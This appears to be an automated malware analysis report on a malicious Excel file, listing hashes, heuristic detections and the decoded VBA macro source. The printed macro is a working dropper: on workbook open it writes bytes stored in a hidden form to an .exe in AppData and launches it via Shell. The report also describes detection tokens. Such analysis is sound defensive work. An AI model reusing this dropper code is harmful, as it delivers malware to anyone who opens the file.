Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e427751a8a13f96e…

MALICIOUS

Office (OLE) / .XLS

1.31 MB Created: 2016-06-03 07:17:31 Authoring application: Microsoft Excel First seen: 2026-06-09
MD5: ee2fe26d7c8da70e6d8919260a44ee18 SHA-1: 0bb3aef53bbdc5a129b747fd56f9978f6526d5e4 SHA-256: e427751a8a13f96e3f6b8a1d5c7d4f571d0b0f63e12181c8a9d1a5353755e925
136 Risk Score

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell(strProgramName, vbNormalFocus)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        path_file = Environ("AppData") + "\" + path_dom + ".exe"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2599 bytes
SHA-256: 448ea6131c8ad6f34c144400b3abf0194a9d5c73641e7a0e6b92510599626008
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"


Sub WaitFo(NumOfSeconds As Long)
    Dim SngSec As Long
    Dim path_dom As String
    path_dom = "ddYT4B5RV3DCuu"
    SngSec = Timer + NumOfSeconds
    Do While Timer < SngSec
        DoEvents
    Loop
    path_dom = "dddYT4B5RV3DCuu"
End Sub

Sub loadPro(strProgramName As String)
    Dim path_dom As String
    Dim strArgument As String
    path_dom = "ddsddYT4B5RV3DCuu%u"
    Call Shell(strProgramName, vbNormalFocus)
End Sub

Function ruString(cb As Integer) As String

    Randomize
    Dim rgch As String
    rgch = "ghiabcdefjklqrstuvwmnopxyz"
    rgch = rgch & UCase(rgch) & "1348906257"

    Dim i As Long
    For i = 1 To cb
        ruString = ruString & Mid$(rgch, Int(Rnd() * Len(rgch) + 1), 1)
    Next
        
End Function

Sub newLoadr()
    Dim row As Long
    Dim path_file As String
    Dim path_dom As String
    path_dom = "YT4B5RV3DC"
    path_dom = ruString(6)
    path_file = Environ("AppData") + "\" + path_dom + ".exe"
    path_dom = "dYT4B5RV3DCu"
    Dim ar() As String
    
    If Len(Dir(path_file)) = 0 Then
        ar = Split(UserForm1.TextBox1.Text, ",")
        path_dom = "dYT4B5RV3DCu"
        Open path_file For Binary As #1
        Seek #1, LOF(1) + 1
        For row = LBound(ar) To UBound(ar)
            Put #1, , CByte(ar(row))
      Next
        Close #1
         Call WaitFo(1)
         path_dom = "ddsYT4B5RV3DCu"
     End If
     path_dom = "ddsdYT4B5RV3DCu"
     loadPro path_file
     Workbooks.Add
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Call newLoadr
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{597548DD-F8CF-452B-802B-65DBD3236851}{BEF5042E-8DC7-47CC-94CC-3194A4611453}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()

End Sub

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